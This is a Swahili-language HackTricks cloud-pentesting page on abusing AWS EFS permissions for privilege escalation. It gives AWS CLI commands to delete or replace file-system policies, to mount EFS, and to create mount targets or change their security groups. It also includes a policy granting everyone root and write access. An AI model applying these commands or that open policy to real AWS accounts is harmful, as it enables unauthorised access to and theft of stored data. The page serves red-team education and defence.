AWS - EFS Privesc

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

EFS

Maelezo zaidi kuhusu EFS inapatikana:

pageAWS - EFS Enum

Kumbuka kwamba ili kufunga EFS unahitaji kuwa kwenye mtandao wa chini ambapo EFS inaonekana na kuwa na ufikiaji wake (vikundi vya usalama). Ikiwa hii inatokea, kwa chaguo-msingi, utaweza kufunga, hata hivyo, ikiwa imekingwa na sera za IAM unahitaji kuwa na ruhusa za ziada zilizotajwa hapa ili kuipata.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Kwa ruhusa yoyote kati ya hizo, mshambuliaji anaweza kubadilisha sera ya mfumo wa faili ili kukupa ufikiaji kwake, au tu kuifuta ili ufikiaji wa chaguo-msingi upewe.

Ili kufuta sera:

aws efs delete-file-system-policy \
--file-system-id <value>

Kuibadilisha:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Kwa idhini hii, mshambuliaji ataweza kufunga EFS. Ikiwa idhini ya kuandika haijatolewa kwa kila mtu anayeweza kufunga EFS, atakuwa na upatikanaji wa kusoma tu.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Mamlaka ya ziada elasticfilesystem:ClientRootAccess na elasticfilesystem:ClientWrite inaweza kutumika kwa kuandika ndani ya mfumo wa faili baada ya kufungwa na kwa kupata mfumo huo wa faili kama root.

Matokeo Yanayowezekana: Privesc isiyo ya moja kwa moja kwa kutambua habari nyeti katika mfumo wa faili.

elasticfilesystem:CreateMountTarget

Ikiwa mshambuliaji yuko ndani ya mtandao wa sehemu ambapo hakuna lengo la kufunga la EFS lipo. Anaweza tu kuunda moja katika eneo lake na mamlaka hii:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Athari Inayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutambua habari nyeti kwenye mfumo wa faili.

elasticfilesystem:ModifyMountTargetSecurityGroups

Katika hali ambapo mshambuliaji anagundua kwamba EFS ina lengo la kufunga katika eneo lake la mtandao lakini hakuna kikundi cha usalama kinachoruhusu trafiki, anaweza tu kubadilisha hilo kwa kubadilisha vikundi vya usalama vilivyochaguliwa:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Athari Inayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutambua habari nyeti kwenye mfumo wa faili.

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated